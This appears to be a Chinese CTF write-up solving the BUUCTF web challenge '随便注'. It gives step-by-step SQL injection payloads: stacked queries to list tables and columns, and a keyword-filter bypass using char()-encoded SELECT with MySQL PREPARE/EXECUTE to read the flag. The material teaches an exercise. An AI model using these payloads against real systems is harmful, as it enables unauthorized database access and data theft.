0
点赞
收藏
分享

微信扫一扫

BUUCTF web 随便注

沈芏 2022-06-17 阅读 58


输入
1 没有报错
1' 报错,证明存在注入
1' # 没有报错
1' order by 1 # 没有报错
1' order by 2 # 没有报错
1' order by 3 # 报错,证明存在两列, 但是并没有什么用
1' union select 1, 2 # 返回return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
很多关键字都被过滤了,就考虑堆叠注入
1' ; show databases; # 成功,说明存在堆叠注入
1' ; show tables; # 有两张表,分别看下两张表都有什么字段
1' ; show columns from words; # 没什么信息
1' ; show columns from `1919810931114514`; # 看到有flag字段

知识点1:堆叠注入
在SQL中,分号是用来表示一条sql语句的结束。如果在 ; 结束一个sql语句后继续构造下一条语句,效果就是分别执行两条sql语句。由于两条语句堆叠在同一行,而不是原本应该各自占据一行,所以这种注入成为堆叠注入。

知识点2
当数字型字符作为字段、表、库名查询时,应该用反单引号括起来

接下来就是要查询1919810931114514表中的flag字段,要用到select,但是被过滤了,看大佬的WP,又要用到sql的预处理

mysql预处理语句

PREPARE sqla from '[my sql sequece]';    预定义SQL语句
EXECUTE sqla; 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句


通过变量进行传递
SET @tn = 'flag'; 存储表名
SET @sql = concat('select * from ', @tn); 存储SQL语句
PREPARE sqla from @sql; 预定义SQL语句
EXECUTE sqla; 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句


PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。
准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。

知识点3
mysql中可以用set给变量赋值,变量以@开头:set @var=1;

利用char()方法将ASCII码转换为SELECT字符串,接着利用concat()方法进行拼接获得查询的SQL语句

1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
闭合 构造sql执行的语句 预处理 执行


举报

相关推荐

0 条评论